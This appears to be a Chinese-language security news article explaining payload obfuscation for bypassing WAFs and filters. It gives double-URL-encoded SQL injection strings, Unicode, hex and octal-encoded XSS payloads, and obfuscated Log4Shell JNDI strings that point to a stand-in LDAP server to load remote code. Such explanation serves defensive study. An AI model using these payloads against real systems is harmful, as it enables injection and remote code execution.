摘要

本報告深入探討用於 payload 混淆的各種技術,這是繞過現代安全防禦(如 Web Application Firewalls (WAFs) 和輸入驗證過濾器)的關鍵技能。我們探討從基本編碼方案如 URL 和 Unicode 編碼,到更先進策略涉及變數表達式賦值和 shell 環境混淆的方法。分析強調攻擊者如何在不改變其功能的情況下掩蓋 malicious scripts,從而能夠利用原本受保護的漏洞。了解這些技術對於進攻性安全測試和開發強健防禦機制至關重要。

從 URL 編碼到 Unicode 混淆:資安專家必懂 Payload 隱藏術 | 資訊安全新聞

簡介

在不斷演變的網路安全領域中,攻擊者隱藏 malicious code 免於檢測機制的能力對攻擊者至關重要。Payload 混淆透過將 malicious scripts 轉換成對安全系統看似良性的格式來達到此目的,但在執行時保留其原始功能。本指南探討 payload 混淆的基本和先進方法,提供這些技術如何用來規避安全措施如 WAFs 和輸入消毒的洞見。透過了解混淆的細節,安全專業人士可以更好地預測和防禦複雜攻擊,而滲透測試人員可以增強識別和利用漏洞的能力。

技術分析

Payload 混淆依賴將 malicious data 轉換成偽裝形式以繞過基於模式的過濾器和靜態簽章檢測的原則。本節詳細說明幾個關鍵混淆技術:

透過編碼的 Payload 混淆

編碼是混淆 payloads 的主要方法,透過將其轉換成不同格式。這隱藏了初始檢查的 malicious intent。

URL 編碼

URL 編碼由於瀏覽器廣泛使用而被廣泛採用。雖然應用程式通常會解碼 URL 編碼的資料,但攻擊者可以利用雙重 URL 編碼來繞過過濾器。例如,將 '%' 字元編碼為 '%25' 可以導致 payload 被解碼兩次,只有在多次解碼後才揭示原始 malicious script。

' OR 1=1-- -

%27%20OR%201%3D1%2D%2D%20%2D

%2527%2520OR%25201%253D1%252D%252D%2520%252D

當雙重 URL 編碼的 payload %2527%2520OR%25201%253D1%252D%252D%2520%252D 被解碼兩次時,它會解析回 ' OR 1=1-- -

Unicode、Hex 和 Octal 編碼

這些編碼方法在 payloads 被注入預繪製字串時特別有效,尤其是在混合伺服器端和客戶端程式碼環境中。例如,在 JavaScript 環境中,伺服器端腳本填充變數,攻擊者可以注入 Unicode、hex 或 octal 編碼的字元,這些字元會解碼成 malicious HTML 或 JavaScript 標籤。

  1. <script>
  2. var result = "<b>You searched for:</b> <?= htmlspecialchars($_GET['query']) ?>";
  3. // Code...
  4. document.body.innerHTML = result;
  5. </script>

此類編碼 payloads 的範例包括:

  • Unicode payload #1: \u003Csvg onload=alert(1)\u003E
  • Unicode payload #2: \u{3C}svg onload=alert(1)\u{3E}
  • Hex payload: \x3Csvg onload=alert(1)\x3E
  • Octal payload: \074svg onload=alert(1)\076

這些 payloads 在插入 JavaScript 變數並在 HTML DOM 中繪製時,將執行為 <svg onload=alert(1)> ,導致 XSS 漏洞

混合編碼

結合多種編碼方法顯著增強混淆,迫使防禦機制處理多層解碼。這複雜性使自動化系統的檢測變得更加困難。

\u{3C}svg%20onload\075al\u0065rt(1)\x3E

此範例結合 Unicode、URL 和 octal 編碼來建立高度混淆的 payload。

Log4Shell 混淆

Log4Shell 漏洞 (CVE-2021-44228) 突顯了 payload 混淆的精妙之處。攻擊者開發各種技術來繞過防火牆並繼續利用 Log4Shell,包括:

  • 小寫替換、字串碎片化、巢狀解析:
  • ${jndi:${lower:l}dap${lower::}://yourserve${lower:r}:1389/a}
  • 冒號技巧 (::)、逐字元組裝、深度巢狀:
  • ${${::-j}${::-n}${::-d}${::-i}:${::-l}dap${::-:}/${::-/}${::-y}ourserver.com:1389/a}
  • 環境變數替換、預設後備、動態協議建構:
  • ${${env:BARFOO:-j}ndi${env:BARFOO:-l}dap${env:BARFOO:-:}/${env:BARFOO:-/}${env:BARFOO:-/}yourserver.com:1389/a}

這些範例示範攻擊者如何利用 Log4j 的查詢機制的靈活性,在運行時建構 payloads 以規避傳統基於簽章的系統檢測。

程式碼解釋

提供的程式碼片段說明不同編碼方案如何轉換 malicious strings。例如,URL 編碼範例顯示從簡單 SQL 注入 payload 到其單重和雙重 URL 編碼形式的進展。JavaScript 範例示範如何使用客戶端編碼輸入操縱伺服器端變數來觸發 XSS。Log4Shell payloads 突顯使用先進字串操縱和環境變數查詢在運行時建構最終 malicious string,使靜態分析變得困難。

觀察與洞見

Payload 混淆是一個動態且不斷演變的領域。關鍵洞見是有效混淆利用目標系統的解析和解碼機制來對抗自身。透過了解應用程式如何處理輸入並解釋各種編碼格式,攻擊者可以製作直到執行點才顯露的 payloads。這需要防禦策略從純粹基於簽章的檢測轉移到更多行為分析和多層強健輸入驗證。此外,Log4Shell 範例強調了解複雜漏洞攻擊鏈以及攻擊者規避安全控制的創意方式的重要性。

未來展望

Payload 混淆的未來可能涉及更精妙的技術,可能整合機器學習來產生適應性和多態 payloads 以規避先進檢測系統。攻擊者和防禦者之間持續的貓捉老鼠遊戲將驅動混淆和去混淆技術的創新。研究新型編碼方案、動態 payload 生成以及新技術中解析歧義的利用將至關重要。防禦者需要專注於環境感知分析、運行時監控和主動威脅情報來對抗這些演變中的威脅。

結論

Payload 混淆對於進攻性和防禦性網路安全專業人士都是重要技能。它使攻擊者能夠繞過初始防禦線並利用漏洞,而對於防禦者來說,了解這些技術對於建構彈性系統至關重要。討論的範例,從基本編碼到複雜 Log4Shell 混淆,說明了採用的多樣方法。隨著安全機制變得更先進,混淆技術也將如此,在網路安全領域中使持續學習和適應變得不可或缺。